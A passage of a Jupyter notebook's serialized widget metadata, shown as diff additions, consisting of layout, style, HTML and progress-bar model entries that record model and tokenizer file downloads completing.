null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "e57b840c4d3c4abcae1b69b189701c72": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "e59d5e76445943c39cdb32721727d3e8": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "e69330feb37747c5b22d4dd215f934bd": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_cb4c90617e8e4ef08052ade1d2694589", + "placeholder": "​", + "style": "IPY_MODEL_6ca7d8cb9ad2472bad727eba7c993816", + "value": " 541/541 [00:00<00:00, 9.29kB/s]" + } + }, + "e7a84d718566443bba6c79729de0518a": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_81b870c0f0b6482a9f1dbd3fac0d935c", + "placeholder": "​", + "style": "IPY_MODEL_ff464c023f0546209b15c44a39b4b75e", + "value": "Downloading model.safetensors: 100%" + } + }, + "e7ddc52526db41e4907a2ede8dcef7c7": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "e8cbb2d5adae4b439639631ea833be72": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "e90005c8a5664c6f80e37268666f1a9f": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "e9ef39e82cf645e396daea04a1e178f1": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_02f92b3266a54cc1885140f1a378d784", + "max": 153718792, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_d504edae2a2f4beb851928ca770b2701", + "value": 153718792 + } + }, + "ea6ed2a4fd9c49579f25b2f0e9af3f3c": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_3cdb72138ffe4261a6cfcd9bcf4776c4", + "max": 743, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_3bdc5d0f6e324afaae6d5a4aabff98d2", + "value": 743 + } + }, + "ea8e9b50f98c43b58d7faccbfd6821cb": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "eb5ef899d10b442ca8bd3ec6c1fbf1f3": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_b6f79be711a94896ba08b0af7293cd04", + "IPY_MODEL_f2ec0ba35adb4084b2ef73e4d384f6fd", + "IPY_MODEL_5b6fcc006e8b47c4a416e38991201a42" + ], + "layout": "IPY_MODEL_635b3c726b5049818d8384ad992e2550" + } + }, + "eb72384f0e50444d9db03c12aca4b899": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "eba07e4598814b6cb22ba58d16587cf3": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_ab44913ac7c44a0f89a963fddf9dba39", + "max": 920, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_c9678e8106544428a9f155e2da9f2693", + "value": 920 + } + }, + "ebe0534f9b4c4f92ae488a8d3e5867d6": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_e7a84d718566443bba6c79729de0518a", + "IPY_MODEL_8cec2e55fc3542789938c24adb050ca9", + "IPY_MODEL_5248a6e5d8044c53803426afaf2439af" + ], + "layout": "IPY_MODEL_10ae3f8453744a7e9737a9a0914dfeab" + } + }, + "ec7bdbec2fc342f38039b8420a162a25": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "ec96bfae8c9c48e5827755ce0e8a885f": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "ecc46cbc78fe4d9f8af50970839d3891": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "ed79049f4f3a41899ce7744c6733bf27": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "edaf046faeb8459bbe937cae180bfc4e": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_8cb0f3ae820947a5984dd422b33776dd", + "IPY_MODEL_ea6ed2a4fd9c49579f25b2f0e9af3f3c", + "IPY_MODEL_41b442152042436ea0703d3c1181824d" + ], + "layout": "IPY_MODEL_f3af911e563d47eca89517bdc434c911" + } + }, + "ede9d9c5d44146849e44c3b1476299eb": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_d8424b9018444e088fe5908db8a9db12", + "IPY_MODEL_f00bbbb986ed49e79560422ba4c379c8", + "IPY_MODEL_108208309c4b47aa8eee3a1321fc81ed" + ], + "layout": "IPY_MODEL_d0c00b0f105741f9a155e941dd5d704f" + } + }, + "ee7d2281e6964da8a3e610343a7de76d": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "ee848051813f401c958c169f8b77a323": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "ee9448f0b9964d8fad850501e08e3c84": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_93df8bff634740a29f3820042d69347f", + "placeholder": "​", + "style": "IPY_MODEL_373d310d37454a409b53c30e7d7d1de5", + "value": "Downloading (…)cial_tokens_map.json: 100%" + } + }, + "ef977ff25ba842c9a0475befc7b47b89": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "f00bbbb986ed49e79560422ba4c379c8": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_2a8de4ddaf4747ceb0a153851cd765ca", + "max": 524619, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_c3e33bee752849c692d00ceabd561feb", + "value": 524619 + } + }, + "f02818f8f3d54f72961c51e8fe526dc2": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "f05ad5aa13a040609336f0d6b2580be2": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "f0a064bb91524f01972e941a3bd7354d": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "f0ddc614bd9a40468c083db3a457e1c1": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_a27de7fc1bfa486f9ff8829d4d4198f6", + "IPY_MODEL_47507d2cf4e04f2f927ee369c6d7b4d4", + "IPY_MODEL_e11151541738459ba16b582a9edefd2c" + ], + "layout": "IPY_MODEL_33c23b5b6adf403dba45e9f8e64e37dc" + } + }, + "f16aa25f9d2b49cc87cde26cf7dc316f": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "f17e8c0187db4242af4a803aed44fde9": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "f18d3449a23c485a85e38f0ced810c99": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "f1a22eae63cb4eb982a02ccd11422014": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "f1e983f41294422087b5be9a9df11fa3": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "f1f865efa3a6448ea9c930a1f08c50bf": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "f2241131e8d54c1f9e8976b94b46bc67": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "f2ec0ba35adb4084b2ef73e4d384f6fd": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_9ef7b0ea4e4e46b18953056deaa6cf95", + "max": 13, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_2d76832bc7834ef6b683ef6829f83861", + "value": 13 + } + }, + "f357992a28754d7689721ebda28f0b0f": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "f3af911e563d47eca89517bdc434c911": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "f3be39d3186448afb9d851b9732df52b": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "f48a988402a947a098ed14bfd0dc9a53": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "f48bc2b8666b4e48a6f8cad4cda2530d": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + 